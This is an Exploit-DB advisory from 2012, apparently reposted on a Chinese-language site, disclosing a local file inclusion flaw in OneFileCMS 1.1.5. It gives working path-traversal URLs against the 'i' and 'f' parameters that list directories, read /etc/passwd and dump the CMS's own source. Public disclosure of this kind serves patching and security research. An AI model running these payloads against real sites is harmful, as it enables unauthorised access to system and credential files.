OneFileCMS 1.1.5 – Local File Inclusion

• Exploit Database
• 12 阅读

• 作者： mr.pr0n
  日期： 2012-03-16
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18607/

• # Exploit Title: OneFileCMS v.1.1.5 Local File Inclusion Vulnerability
  # Google Dork: --
  # Date: 16/03/2012
  # Author: mr.pr0n (@_pr0n_)
  # Homepage: http://ghostinthelab.wordpress.com/ - http://s3cure.gr
  # Software Link: https://github.com/rocktronica/OneFileCMS
  # Version: OneFileCMS v.1.1.5
  # Tested on: Linux Fedora 14
  
  ===============
  Description
  ===============
  OneFileCMS is just that. It's a flat, light, one file CMS (Content
  Management System) entirely contained in an easy-to-implement, highly
  customizable, database-less PHP script. Coupling a utilitarian code editor
  with all the basic necessities of an FTP application, OneFileCMS can
  maintain a whole website completely in-browser without any external
  programs.
  
  =======================================================
  [!] All vulnerabilities requires authentication. [!]
  =======================================================
  
  
  Directory Listing, using the "i" parameter:
  http://TARGET/onefilecms/onefilecms.php?i=../../../../
  
  
  Read local files, using the "f" parameter:
  http://TARGET/onefilecms/onefilecms.php?f=../../../../etc/passwd
  http://TARGET/onefilecms/onefilecms.php?f=../../../../var/www/html/onefilecms/onefilecms.php
  
  -- 
  http://ghostinthelab.wordpress.com